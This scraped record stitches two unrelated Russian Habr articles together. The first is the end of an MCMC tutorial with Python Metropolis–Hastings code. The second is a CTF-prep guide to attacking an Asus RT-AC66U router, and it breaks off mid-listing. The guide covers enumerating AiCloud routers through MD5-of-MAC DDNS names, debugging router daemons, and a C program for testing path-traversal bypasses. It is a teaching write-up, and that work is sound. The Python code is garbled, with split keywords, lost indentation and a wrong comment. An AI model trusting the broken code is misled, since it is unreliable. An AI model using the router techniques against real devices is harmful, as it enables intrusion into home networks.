Поскольку термин MCMC состоит из двух частей, нужно еще понять, что такое [цепи Маркова](https://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BF%D1%8C_%D0%9C%D0%B0%D1%80%D0%BA%D0%BE%D0%B2%D0%B0). Но прежде, чем перейти к Марковским цепям, немного поговорим о Марковских свойствах.
Предположим, есть система из M-возможных состояний, и вы переходите из одного состояния в другое. Пусть пока вас ничего не сбивает с толку. Конкретный пример подобной системы — погода, которая меняется от жаркой к холодной и умеренной. Другой пример — фондовый рынок, который прыгает от «медвежьего» к «бычьему» и состоянию стагнации.
*Марковское свойство* говорит о том, что для данного процесса, который находится в состоянии Xn в конкретный момент времени, вероятность Xn + 1= k (где k — любое из M-состояний, в которое процесс может перейти) зависит только от того, каково это состояние в данный момент. А не о том, как оно достигло нынешнего состояния.
Говоря математическим языком, можем записать это в виде следующей формулы:
Для наглядности: вы не заботитесь о последовательности состояний, которые рынок принимал, чтобы стать «бычьим». Вероятность того, что следующее состояние будет «медвежьим», определяется только тем фактом, что рынок в настоящее время находится в «бычьем» состоянии. Это также имеет смысл на практике.
Процесс, обладающий Марковским свойством, называется Марковским процессом. Из-за чего же важна Марковская цепь? Из-за своего стационарного распределения.
### Что такое стационарное распределение
Я попытаюсь объяснить стационарное распределение, рассчитав его для приведенного ниже примера. Предположим, у вас есть Марковский процесс для фондового рынка, как показано ниже.
У вас есть матрица переходных вероятностей, которая определяет вероятность перехода из состояния Xi в Xj.
Матрица переходных вероятностей, Q
В приведенной матрице переходных вероятностей Q вероятность того, что следующим состоянием будет «бык», учитывая текущее состояние «бык» = 0,9; вероятность того, что следующее состояние будет «медвежьим», если текущее состояние «бык» = 0,075. И так далее.
Что же, давайте начнем с какого-то определенного состояния. Наше состояние будет задаваться вектором [бык, медведь, стагнация]. Если мы начнем с «медвежьего» состояния, вектор будет таким: [0,1,0]. Мы можем вычислить распределение вероятности для следующего состояния, умножив вектор текущего состояния на матрицу переходных вероятностей.
**Заметьте, что вероятности дают в сумме 1.**
Следующее распределение состояний можно найти по формуле:
И так далее. В конце концов, вы достигнете стационарного состояния, в котором состояние стабилизируется:
Для описанной выше матрицы переходных вероятностей Q стационарное распределение s такое:
Вы можете получить стационарное распределение при помощи следующего кода:
```
Q =
np.matrix([[0.9,0.075,0.025],[0.15,0.8,0.05],[0.25,0.25,0.5]])
init_s = np.matrix([[0, 1 , 0]])
epsilon =1
while epsilon>10e-9:
next_s = np.dot(init_s,Q)
epsilon = np.sqrt(np.sum(np.square(next_s - init_s)))
init_s = next_s
print(init_s)
------------------------------------------------------------------
matrix([[0.62499998, 0.31250002, 0.0625 ]])
```
Вы также можете начать с любого другого состояния — достигнете того же стационарного распределения. Измените начальное состояние в коде, если хотите в этом убедиться.
Теперь мы можем ответить на вопрос, почему же стационарное распределение так важно.
Стационарное распределение важно, потому что с его помощью можно определять вероятность системы быть в определенном состоянии в случайное время.
Для нашего примера можно сказать, что в 62,5% случаев рынок будет в «бычьем» состоянии, 31,25% — в «медвежьем» и 6,25% — в стагнации.
Интуитивно вы можете рассматривать это как случайное блуждание по цепи.
Случайное блуждание
Вы находитесь в определенной точке и выбираете следующее состояние, наблюдая распределение вероятностей следующего состояния с учетом текущего состояния. Мы можем посещать некоторые узлы чаще, чем другие, основываясь на вероятностях этих узлов.
Именно таким образом на заре интернета Google решил проблему поиска. Проблема заключалась в сортировке страниц, в зависимости от их важности. В Google решили задачу, используя алгоритм Pagerank. В алгоритме Google Pagerank следует рассматривать состояние как страницу, а вероятность страницы в стационарном распределении — как ее относительную значимость.
Теперь перейдем непосредственно к рассмотрению методов MCMC.
Что такое методы Монте-Карло с цепями Маркова (MCMC)
----------------------------------------------------
Прежде чем ответить, что же такое MCMC, позвольте задать один вопрос. Мы знаем о бета-распределении. Мы знаем его функцию плотности вероятностей. Но можем ли мы взять выборку из этого распределения? Вы можете придумать способ, как это сделать?
Думайте…
MCMC дает возможность выбрать из любого распределения вероятностей. Это особенно важно, когда нужно сделать выборку из апостериорного распределения.
На рисунке показана теорема Байеса
Например, нужно сделать сэмпл из апостериорного распределения. Но легко ли вычислить апостериорную компоненту вместе с нормирующей постоянной (evidence)? В большинстве случаев можно найти их в виде произведения правдоподобия и априорной вероятности. Но рассчитать нормирующую постоянную (p (D)) не получится. Почему? Разберемся подробнее.
Предположим, H принимает только 3 значения:
p(D) = p(H=H1).p(D|H=H1) + p(H=H2).p(D|H=H2) + p(H=H3).p(D|H=H3)
В таком случае p(D) подсчитать легко. А что если значение H непрерывно? Получилось бы ли рассчитать это так же легко, особенно если H принимала бесконечные значения? Для этого пришлось бы решить сложный интеграл.
Мы хотим сделать случайный отбор из апостериорного распределения, но также хотим считать p(D) константой.
Википедия [пишет](https://en.wikipedia.org/wiki/Markov_chain_Monte_Carlo):
Методы Монте-Карло с цепями Маркова — это класс алгоритмов для выборки из распределения вероятностей, основанный на построении цепи Маркова, которая в качестве стационарного распределения имеет желаемый вид. Состояние цепи после ряда шагов затем используется в качестве выборки из желаемого распределения. Качество выборки улучшается с увеличением количества шагов.
Разберемся на примере. Допустим, нужна выборка из [бета-распределения](https://ru.wikipedia.org/wiki/%D0%91%D0%B5%D1%82%D0%B0-%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5). Его плотность:
где C — нормирующая постоянная. На самом деле это некоторая функция от α и β, но я хочу показать, что для выборки из бета-распределения она не нужна, поэтому мы примем ее за константу.
Задача с бета-распределением действительно сложная, если не сказать, практически неразрешимая. В действительности вам, вероятно, придется работать с более сложными функциями распределения, а иногда вы не будете знать нормирующие постоянные.
Методы MCMC облегчают жизнь, предоставляя алгоритмы, которые могли бы создать цепь Маркова, которая в качестве стационарного распределения имеет бета-распределение, учитывая, что мы можем выбирать из равномерного распределения (что относительно просто).
Если начнем со случайного состояния и перейдем к следующему состоянию на основе некоторого алгоритма несколько раз, мы в конечном итоге создадим цепь Маркова, у которой в качестве стационарного распределения будет бета-распределение. А состояния, в которых мы окажемся через долгое время, могут использоваться как выборка из бета-распределения.
Один из таких MCMC-алгоритмов — алгоритм [Метрополиса-Гастингса.](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%9C%D0%B5%D1%82%D1%80%D0%BE%D0%BF%D0%BE%D0%BB%D0%B8%D1%81%D0%B0_%E2%80%94_%D0%93%D0%B0%D1%81%D1%82%D0%B8%D0%BD%D0%B3%D1%81%D0%B0)
Алгоритм Метрополиса-Гастингса
------------------------------
### Интуиция:
Так, в чем же цель?
*Интуитивно понятно, что мы хотим ходить по некоторой кусочной поверхности (нашей цепи Маркова) таким образом, чтобы количество времени, которое мы проводим в каждом местоположении, было пропорционально высоте поверхности в этом месте (желаемая плотность вероятности, из которой хотим сделать выборку).
Так, например, мы хотели бы провести вдвое больше времени на вершине холма высотой 100 метров, чем на соседнем 50-метровом холме. Хорошо, что мы можем сделать это, даже если не знаем абсолютных высот точек на поверхности: все, что нужно знать, это относительные высоты. Например, если вершина холма A в два раза выше вершины холма B, то мы бы хотели провести в A вдвое больше времени, чем на B.
Существуют более сложные схемы предложения новых мест и правил их принятия, но основная идея заключается в следующем:
1. Выбрать новое «предложенное» местоположение.
2. Выяснить, насколько выше или ниже это местоположение находится по сравнению с текущим.
3. Остаться на месте или переместиться в новое место с вероятностью, пропорциональной высотам мест.
Цель MCMC — выборка из некоторого распределения вероятностей без необходимости знать его точную высоту в любой точке (не нужно знать C).
Если процесс «блуждания» настроен правильно, вы можете убедиться, что эта пропорциональность (между проведенным временем и высотой распределения) достигнута*.
### Алгоритм:
Теперь давайте определим и опишем поставленную задачу более формально. Пусть s = (s1, s2,…, sM) — желаемое стационарное распределение. Мы хотим создать цепь Маркова с таким стационарным распределением. Начнем с произвольной цепи Маркова с M-состояниями с матрицей перехода P, так, что pij представляет вероятность перехода из состояния i в j.
Интуитивно мы знаем, как бродить по цепи Маркова, но цепь Маркова не имеет требуемого стационарного распределения. Эта цепь имеет некоторое стационарное распределение (которое нам не нужно). Наша цель — изменить способ, которым мы блуждаем по цепи Маркова, чтобы цепь имела желаемое стационарное распределение.
Для этого следует:
1. Начать со случайного начального состояния i.
2. Случайным образом выбрать новое предполагаемое состояние, посмотрев на вероятности перехода в i-й строке матрицы перехода P.
3. Вычислить меру, называемую вероятностью принятия решения, которая определяется как: aij = min (sj.pji / si.pij, 1).
4. Теперь подбросить монетку, которая приземляется на поверхность орлом с вероятностью aij. Если выпадет орел, принять предложение, то есть перейти к следующему состоянию, иначе — отклонить предложение, то есть остаться в текущем состоянии.
5. Повторить много раз.
После большого количества испытаний эта цепь будет сходиться и иметь стационарное распределение s. Затем мы можем использовать состояния цепи как выборку из любого распределения.
Проделывая это для выборки бета-распределения, единственный раз, когда приходится использовать плотность вероятности, — это поиск вероятности принятия решения. Для этого делим sj на si (то есть нормирующая постоянная C сокращается).
### Выборка из бета-распределения
Теперь перейдем к проблеме выборки из бета-распределения.
Бета-распределение — непрерывное распределение на [0,1] и может иметь бесконечные значения на [0,1]. Предположим, что произвольная цепь Маркова P с бесконечными состояниями на [0,1] имеет переходную матрицу P такую, что pij = pji = все элементы в матрице.
Нам не нужна Матрица P, как мы увидим позже, но я хочу, чтобы описание проблемы было максимально приближено к алгоритму, который мы предложили.
* Начать со случайного начального состояния i, полученного из равномерного распределения на (0,1).
* Случайным образом выбрать новое предполагаемое состояние, посмотрев на вероятности перехода в i-й строке матрицы перехода P. Предположим, мы выбрали другое состояние Unif (0,1) в качестве предполагаемого состояния j.
* Вычислить меру, которую называют вероятностью принятия решения:
Что упрощается до:
Так как pji=pij, и где
* Теперь подбросим монетку. С вероятностью aij выпадет орел. Если выпадет орел, тогда стоит принять предложение, то есть перейти в следующее состояние. В противном случае стоит отвергнуть предложение, то есть остаться в прежнем состоянии.
* Повторить испытание много раз.
### Код:
Пора перейти от теории к практике. Напишем на Python наш бета-образец.
```
impo
rt
rand
om
# Lets define our Beta Function to generate s for any particular state. We don't care for the normalizing constant here.
def beta_s(w,a,b):
return w**(a-1)*(1-w)**(b-1)
# This Function returns True if the coin with probability P of heads comes heads when flipped.
def random_coin(p):
unif = random.uniform(0,1)
if unif>=p:
return False
else:
return True
# This Function runs the MCMC chain for Beta Distribution.
def beta_mcmc(N_hops,a,b):
states = []
cur = random.uniform(0,1)
for i in range(0,N_hops):
states.append(cur)
next = random.uniform(0,1)
ap = min(beta_s(next,a,b)/beta_s(cur,a,b),1) # Calculate the acceptance probability
if random_coin(ap):
cur = next
return states[-1000:] # Returns the last 100 states of the chain
```
Сверим результаты с фактическим бета-распределением.
```
impo
rt
num
py
as
np
import pylab as pl
import scipy.special as ss
%matplotlib inline
pl.rcParams['figure.figsize'] = (17.0, 4.0)
# Actual Beta PDF.
def beta(a, b, i):
e1 = ss.gamma(a + b)
e2 = ss.gamma(a)
e3 = ss.gamma(b)
e4 = i ** (a - 1)
e5 = (1 - i) ** (b - 1)
return (e1/(e2*e3)) * e4 * e5
# Create a function to plot Actual Beta PDF with the Beta Sampled from MCMC Chain.
def plot_beta(a, b):
Ly = []
Lx = []
i_list = np.mgrid[0:1:100j]
for i in i_list:
Lx.append(i)
Ly.append(beta(a, b, i))
pl.plot(Lx, Ly, label="Real Distribution: a="+str(a)+", b="+str(b))
pl.hist(beta_mcmc(100000,a,b),normed=True,bins =25, histtype='step',label="Simulated_MCMC: a="+str(a)+", b="+str(b))
pl.legend()
pl.show()
plot_beta(0.1, 0.1)
plot_beta(1, 1)
plot_beta(2, 3)
```
Как видно, значения очень похожи на бета-распределение. Таким образом, сеть MCMC достигла стационарного состояния
В приведенном выше коде мы создали бета-сэмплер, но та же концепция применима к любому другому распределению, из которого хотим сделать выборку.
Выводы
------
Это был большой пост. Поздравляю, если дочитали его до конца.
В сущности, методы MCMC могут быть сложными, но они предоставляют нам большую гибкость. Вы можете сделать выборку из любой функции распределения, используя выбор посредством MCMC. Обычно эти методы используют для выборки из апостериорных распределений.
Вы также можете использовать MCMC для решения проблем с большим пространством состояний. Например, в задаче о рюкзаке или для расшифровки. Я постараюсь предоставить вам более интересные примеры в [следующем](https://towardsdatascience.com/applications-of-mcmc-for-cryptography-and-optimization-1f99222b7132) посте. Следите за обновлениями.
От редакции
-----------
* Онлайн-курс «[Python для работы с данными](https://netology.ru/programs/python-for-analytics?utm_source=blog&utm_medium=747&utm_campaign=bds_pydp_ou_habr_18072019msms)»
* Онлайн-курс «[Машинное обучение](https://netology.ru/programs/machine-learn?utm_source=blog&utm_medium=747&utm_campaign=bds_ml_ou_habr_18072019msms)»
* Онлайн-курс «[BIG DATA с нуля](https://netology.ru/programs/big-data?utm_source=blog&utm_medium=747&utm_campaign=bds_abd_ou_habr_18072019msms)» | https://habr.com/ru/post/460497/ | null | ru | null |
# Взламываем Asus RT-AC66U и подготавливаемся к SOHOpelesslyBroken CTF
Наконец-то настал июль, время собираться на DEFCON. Фолловьте [@defconparties](https://twitter.com/defconparties) в твиттере и определяйтесь, какие [местечки](http://defcne.net/villages/22) посетить и на какие [доклады](https://www.defcon.org/html/defcon-22/dc-22-schedule.html) сходить.
В этом году будет новое соревнование — [SOHOpelesslyBroken](http://sohopelesslybroken.com/), от ISE и EFF. Цель [Track 0](http://sohopelesslybroken.com/track0.php) состоит в том, чтобы показать ранее неизвестные уязвимости в домашних беспроводных роутерах. [Track 1](http://sohopelesslybroken.com/track1.php) будет проходить в режиме CTF прямо во время DEFCON. CTFы всегда очень веселые, а конкретно этот подразумевает взлом реального железа, что веселее вдвойне!
*Ага, это мое рабочее место =P*
Меня очень интересует [EFF Open Wireless Router](https://openwireless.org/) (переводчика, к слову, тоже), но они пока ничего не рассказывают об устройстве. В [правилах соревнования](http://sohopelesslybroken.com/track0.php) значится [ASUS RT-AC66U](https://wikidevi.com/wiki/ASUS_RT-AC66U) (HW Ver. A2) [Version 3.0.0.4.266] в качестве возможного устройства для взлома. У меня есть лишний RT-AC66U дома, поэтому я решил написать небольшой туториал для всех участников ~~соревнования~~ CTF
##### Разведка
Первым делом, нужно найти прошивку и ее исходный код. К счастью, Asus RT-AC66U лицензирован под GPL, и не составляет труда найти исходный код прошивки в интернете. Версия, используемая в CTF, старая, от 2012 года. Чтобы проанализировать прошивку получше, мы возьмем прошивку и исходники версий от v3.0.0.4.266 до v3.0.0.4.376.1123 (последняя версия на момент написания статьи):
[Asus RT-AC66u v3.0.0.4.266 - прошивка](http://ftp.tekwind.co.jp/pub/asustw/wireless/RT-AC66U/FW_RT_AC66U_VER3004266.zip)
[Asus RT-AC66u v3.0.0.4.266 - исходный код](http://ftp.tekwind.co.jp/pub/asustw/wireless/RT-AC66U/GPL_RT_AC66U_VER3004266.zip)
[Asus RT-AC66u v3.0.0.4.376.1123 — прошивка](http://dlcdnet.asus.com/pub/ASUS/wireless/RT-AC66U/FW_RT_AC66U_30043761123.zip)
[Asus RT-AC66u v3.0.0.4.376.1123 — исходный код](http://dlcdnet.asus.com/pub/ASUS/wireless/RT-AC66U/GPL_RT-AC66U_30043761123.zip)
Множество обновлений прошивки было выпущено между этими двумя версиями, поэтому мы посмотрим историю их изменений:
[www.asus.com/Networking/RTAC66U/HelpDesk\_Download](http://www.asus.com/Networking/RTAC66U/HelpDesk_Download/)
По правилам конкурса, мы должны обнаружить и эксплуатировать 0-day уязвимость. Можно соединить несколько разных уязвимостей, чтобы набрать побольше очков. Если производитель пропатчил уязвимость без сообщения о ней, а вы смогли ее проэксплуатировать, то она все-еще будет считаться 0-day уязвимостью (давайте не будем обсуждать терминологию).
Итак, у нас есть исходный код, настало время распаковать и исследовать его. [CTF Field Guide](https://trailofbits.github.io/ctf) от Trail of Bits содержит хорошие ресурсы по [аудиту исходного кода](https://trailofbits.github.io/ctf/vulnerabilities/source.html). Можно использовать утилиты, вроде [Beyond Compare](http://www.scootersoftware.com/), [Araxis Merge](http://www.araxis.com/merge/) и [WinMerge](http://winmerge.org/) под Windows, или [Meld](http://meldmerge.org/), если вы используете Linux.
Будем работать с директорией "/asuswrt/release/src/router/". Сравним две версии через Meld:
[](https://habrastorage.org/getpro/habr/post_images/429/18f/337/42918f337c307a8647f025bf259290ae.png)
У этого роутера уже есть много обнаруженных уязвимостей. Если вы хотите найти 0-day, вам нужно убедиться, что уязвимость не нашли до вас (и, поверьте, это самая сложная часть). В качестве примера:
* [ASUS RT-AC66U Remote Root (Broadcom ACSD)](http://infosec42.blogspot.com.br/2013/07/exploit-asus-rt-ac66u-remote-root.html)
* [ASUS RT-N66U Router — HTTPS Directory traversal and full file access and credential disclosure vuln](http://www.securityfocus.com/archive/1/526942)
* [Asus RT56U Remote Command Injection](https://hatriot.github.io/blog/2013/06/05/asus-rt56u-remote-command-injection/)
* [Taking over the ASUS RT-N56U and RT-AC66U](http://securityevaluators.com/knowledge/case_studies/routers/asus_rtn56u.php)
* [Dear Asus router user: You’ve been pwned, thanks to easily exploited flaw (Asusgate)](http://arstechnica.com/security/2014/02/dear-asus-router-user-youve-been-pwned-thanks-to-easily-exploited-flaw/)
* [OSVDB](http://osvdb.com/search?search%5Bvuln_title%5D=asus&search%5Btext_type%5D=alltext)
У вас отнимут некоторое количество очков, если ваши эксплоиты требуют особой конфигурации системы или специальной информации. Так что, если вы хотите набрать много очков, вам стоит нацеливаться на стандартную конфигурацию сервисов и процессов.
[](https://habrastorage.org/getpro/habr/post_images/5c5/22d/fde/5c522dfde0fcb2f6b6ea38fa6c4edd1f.png)
Во вкладке «Приложения USB» в RT-AC66U можно настроить некоторые сервисы, вроде FTP, DLNA, NFS и Samba.
[](https://habrastorage.org/getpro/habr/post_images/cd2/b3f/0e3/cd2b3f0e317a7ebf99c5269863e6fb1b.png)
MiniDLNA тоже отличная цель. В нем можно легко найти уязвимости, используя [исследование](http://shadow-file.blogspot.com.br/2014/05/infiltrate-2014.html) [Zachary Cutlip](https://twitter.com/zcutlip)'а, т.к. он ломал эту программу несколько раз.
[](https://habrastorage.org/getpro/habr/post_images/217/2d3/f69/2172d3f69b906aeb8ea8f3def1debf6a.png)
Другим потенциально уязвимым сервисом является AiCloud — он соединяет вашу домашнюю сеть с онлайн-хранилищем и дает доступ с мобильного устройства:
[](https://habrastorage.org/getpro/habr/post_images/3c4/027/10a/3c402710ad893082c79cdbc8be222fb4.png)
##### Forensic
Пока часть команды исследует исходный код, forensics-специалисты будут распаковывать прошивку с использованием binwalk и fmk:
[](https://habrastorage.org/getpro/habr/post_images/ef7/a54/c3d/ef7a54c3d63c16a6e39b4583d11ca2c5.png)
Вы можете помнить [binwally](https://github.com/bmaia/binwally) — утилиту, которую я написал для [нахождения разницы между двумя бинарными деревьями с использованием fuzzy hashing](http://w00tsec.blogspot.com/2013/12/binwally-directory-tree-diff-tool-using.html). В Binwalk есть своя опция для проведения fuzzy hashing между файлами и директориями.
[](https://habrastorage.org/getpro/habr/post_images/3a5/78e/bbe/3a578ebbeb7cfe258eac69e461fd8e0d.png)
Большинство производителей (вроде Asus) не открывают целиком весь код. Вероятно, вам придется реверсить драйверы и бинарники, чтобы найти хорошую уязвимость. Бинарник с именем «ACSD» наиболее интересен из-за того, что его убрали из новых версий прошивки (v3.0.0.4.374.130+) из-за [уязвимость](http://infosec42.blogspot.com/2013/07/exploit-asus-rt-ac66u-remote-root.html), найденной [Jacob Holcomb](https://twitter.com/rootHak42).
[](https://habrastorage.org/getpro/habr/post_images/a23/8cd/cb9/a238cdcb97dce13817ad5bd6044225f4.png)
Бинарники для MIPS Little Endian.
[](https://habrastorage.org/getpro/habr/post_images/028/b64/d60/028b64d609af70396314f3151e75ecea.png)
Также, важно разузнать побольше о файловой системе. В OpenWRT Wiki есть замечательная статья [про разметку флеш-памяти](http://wiki.openwrt.org/doc/techref/flash.layout). [MTD](https://en.wikipedia.org/wiki/Memory_Technology_Device) в Linux дает доступ к флеш-устройствам и позволяет создавать полноценные файловые системы на них. Можно зайти по ssh на устройство и посмотреть разметку:
[](https://habrastorage.org/getpro/habr/post_images/2bf/697/9cd/2bf6979cdfefb64c5fbe0afee918c6d7.png)
Раздел NVRAM очень ценен для нас, в нем хранятся все настройки устройства. Вы можем посмотреть его содержание просто сдампив нужны раздел (mtd1) или выполнив команду **nvram show**:
[](https://habrastorage.org/getpro/habr/post_images/aa8/dfb/384/aa8dfb38482c8a2148e6b2c04c502f26.png)
[](https://habrastorage.org/getpro/habr/post_images/e84/7ab/b58/e847abb58b49a8f897cdb2e5ad320018.png)
Pmon — еще один интересный раздел. Он содержит данные, сжатые LZMA, которые использует загрузчик для восстановления прошивки при неудачном обновлении.
[](https://habrastorage.org/getpro/habr/post_images/7bb/e22/cbf/7bbe22cbf137d2d4ab9ac623e830b3bb.png)
[](https://habrastorage.org/getpro/habr/post_images/ddc/51f/391/ddc51f391d10eeeea9cc94c9d8c26d37.png)
##### Взлом
Время начать чего-нибудь взламывать. Нам нужны утилиты вроде gdb, gdbserver и strace для начала отладки бинарников. Мы можем их либо кросс-компилировать, либо настроить Optware/Entware и установить собранные пакеты.
[](https://habrastorage.org/getpro/habr/post_images/e7e/59f/b0c/e7e59fb0c065b34e7d6cd035a575b955.png)
Wanduck (GPL\_RT\_AC66U\_VER3004266/asuswrt/release/src/router/rc/wanduck.c) довольно интересный процесс для анализа. Он запускается по умолчанию, и поднимет псевдо-HTTP сервер на порту 18017. Этот HTTP-сервер перенаправляет каждый запрос на главный интерфейс и, по какой-то причине, отбрасывает все запросы, которые заканчиваются на ".ico".
[](https://habrastorage.org/getpro/habr/post_images/7df/436/a5f/7df436a5f56d011beeb1c5fc96ba41e4.png)
Давайте разберемся, почему он так делает — запустим gdbserver удаленно (gdbserver --multi localhost:12345 &) и соединимся любым отладчиком на ваше усмотрение. Если вы используете IDA Pro, откройте бинарник и установите тип процессора в «mipsrl».
[](https://habrastorage.org/getpro/habr/post_images/550/f86/ef5/550f86ef58bf0a2bc3ac77371bcb62f6.png)
Найдите функцию handle\_http\_req и установите точку останова на сравнении dst\_url:
[](https://habrastorage.org/getpro/habr/post_images/e0b/99d/6d1/e0b99d6d1197edbefda922dd0419027f.png)
Введите host и port gdbserver'а в меню «Debugger / Process Options» и присоединитесь к нужному PID.
[](https://habrastorage.org/getpro/habr/post_images/432/6f5/2fc/4326f52fc051811f6db0f4bc4650b574.png)
[](https://habrastorage.org/getpro/habr/post_images/0ee/152/944/0ee152944d61546a02c7d23865b78020.png)
Продолжите выполнение процесса (F9) и выполните HTTP-запрос на [192.168.1.1/x.ico](http://192.168.1.1/x.ico). Отладчик остановится на заданной точке останова и вы сможете посмотреть регистры и память.
[](https://habrastorage.org/getpro/habr/post_images/9c9/aee/dd3/9c9aeedd3a31b362fdf3ef28be5554ef.png)
Если вы хотите найти другие цели для исследования, поищите их в директории «prebuilt» внутри «GPL\_RT\_AC66U\_VER3004266/asuswrt/release/src/router/». Некоторые интересные бинарники:
* /acsd/prebuilt/acsd
* /webdav\_client/prebuilt/webdav\_client
* /asuswebstorage/prebuilt/asuswebstorage
* /eapd/linux/prebuilt/eapd
* /nas/nas/prebuilt/nas
* /flash/prebuilt/flash
* /et/prebuilt/et
* /wps/prebuilt/wps\_monitor
* /ated/prebuilt/ated
* /wlconf/prebuilt/wlconf
Мобильное приложение AiCloud может раскрыть больше интересной информации о работе устройства. Если вы разреверсите APK, или используете перехватывающий прокси, вы сможете получить первичный HTTP-запрос приложения:
[](https://habrastorage.org/getpro/habr/post_images/d58/bb5/a68/d58bb5a6855a127de7636599695599e1.png)
[](https://habrastorage.org/getpro/habr/post_images/5b0/be9/006/5b0be90062b05e237f68df29f94b2cad.png)
[](https://habrastorage.org/getpro/habr/post_images/606/320/ca6/606320ca666bbc802781b3cc9fe79312.png)
Заметили странный параметр ddns\_hostname? Задачка на криптографию =) (переводчик так не считает).
##### Криптография
POST-запрос пытается зарегистрировать новый Dynamic DNS адрес устройству, используя сервис asuscomm.com. Если мы поищем эту строку в исходниках RT-AC66U, то с легкостью найдем функцию, которая генерирует адрес DDNS:
```
var isMD5DDNSName = function(){
var macAddr = '<% nvram_get("lan_hwaddr"); %>'.toUpperCase().replace(/:/g, "");
return "A"+hexMD5(macAddr).toUpperCase()+".asuscomm.com";
}
```
По информации с [WikiDev](https://wikidevi.com/wiki/ASUS_RT-AC66U), RT-AC66U использует следующие идентификаторы организации в MAC-адресах:
* 08:60:6E (1 E, 1 W, 2011)
* 10:BF:48 (1 E, 2 W, 2011)
* 30:85:A9 (3 E, 3 W, 2011)
* 50:46:5D (1 E, 2 W, 2012)
Используя эту информацию, мы можем сопоставить IP адрес каждого роутера, использующего AiCloud. Просто сгенерируем список всех возможных MAC-адресов и переберем DNS-имена [трюком](http://www.room362.com/blog/2014/01/29/hostname-bruteforcing-on-the-cheap/) [mubix'а](https://twitter.com/mubix)
[](https://habrastorage.org/getpro/habr/post_images/739/0db/108/7390db1088a764a48043bdee7db663b5.png)
Если вам слишком лениво запускать команду, вы можете поискать «asuscomm.com» на [Shodan](http://www.shodanhq.com/).
[](https://habrastorage.org/getpro/habr/post_images/03c/208/94b/03c20894b9d257778b713d71ccd81e86.png)
AiCloud по умолчанию работает на портах 8082 и 443. Сам факт, что любой человек может с легкостью получить список роутеров, у которых запущен этот сервис, должен вызывать беспокойство, [верно?](http://www.securityfocus.com/archive/1/526942)
Другой интересной криптографической разминкой может быть разбор алгоритма для генерации WPS PIN-а устройства. Вы можете получить текущий PIN и secret\_code, выполнив команду nvram show | grep -E secret\_code|wps\_device\_pin". Поищите эти значения в исходном коде и используйте полученную информацию для написания кейгена (и не забудьте добавить чиптюн с [pouet.net](http://pouet.net)).
[](https://habrastorage.org/getpro/habr/post_images/7df/42d/df6/7df42ddf648147f8312523df95ec89b9.png)
[](https://habrastorage.org/getpro/habr/post_images/e58/485/eb4/e58485eb4a8561c5052f2dee0267d847.png)
Вы также можете проверить энтропию ключей, сгенерированных на устройстве. Гляньте слайды [«Fast Internet-wide Scanning and its Security Applications»](http://events.ccc.de/congress/2013/Fahrplan/system/attachments/2226/original/Scanning-30c3-13.pdf), чтобы почерпнуть пару идей.
[](https://habrastorage.org/getpro/habr/post_images/2ce/ff7/0b8/2ceff70b8eaec7af2ac41ceb93340af2.png)
##### Веб
Есть так много техник для тестирования веб-проникновений, что я сфокусируют только на паре из них. У интерфейса роутера нет никакой защиты от CSRF. Также есть традиционный инжект в ping-команде и куча векторов XSS.
HTTP-демон основан на microhttpd. Тут есть базовая защита от выхода из директории в httpd.c:
[](https://habrastorage.org/getpro/habr/post_images/d8f/541/c76/d8f541c768474a958f4cd0d622a8ff0d.png)
Мы можем бесстыдно стащить [идею](http://www.exploit-db.com/download_pdf/18094/) [hackerfantastic](https://twitter.com/hackerfantastic) и протестировать потенциальные обходы защиты:
```
#include
#include
int main(int argc, char \*argv[]){
char \*file;
int len;
file = argv[1];
len = strlen(file);
if ( file[0] == '/' || strcmp( file, ".." ) == 0 || strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) != (char\*) 0 || strcmp( &(file[len-3]), "/.." ) == 0 )
{
printf ("Illegal filename: %s\n", file);
}
else
{
printf ("Accepted filename: %s\n", file);
}
return 0;
}
```
[](https://habrastorage.org/getpro/habr/post_images/a42/43c/f30/a4243cf3091c85f7ae09124472ffcef6.png)
В веб-сервере есть некоторые обработчики MIME, которые «должны были быть убраны»
```
// some should be removed
struct except_mime_handler except_mime_handlers[] = {
{ "QIS_*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "qis/*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "*.css", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "state.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detect.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "popup.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "general.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "help.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_autodet.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply2.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "setting_lan.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "httpd_check.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "status.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "automac.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detecWAN.asp", MIME_EXCEPTION_NORESETTIME},
{ "detecWAN2.asp", MIME_EXCEPTION_NORESETTIME},
{ "WPS_info.asp", MIME_EXCEPTION_NORESETTIME},
{ "WAN_info.asp", MIME_EXCEPTION_NOAUTH_ALL|MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status.asp", MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status_QIS.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "result_of_detect_client.asp", MIME_EXCEPTION_NORESETTIME},
{ "Nologin.asp", MIME_EXCEPTION_NOAUTH_ALL},
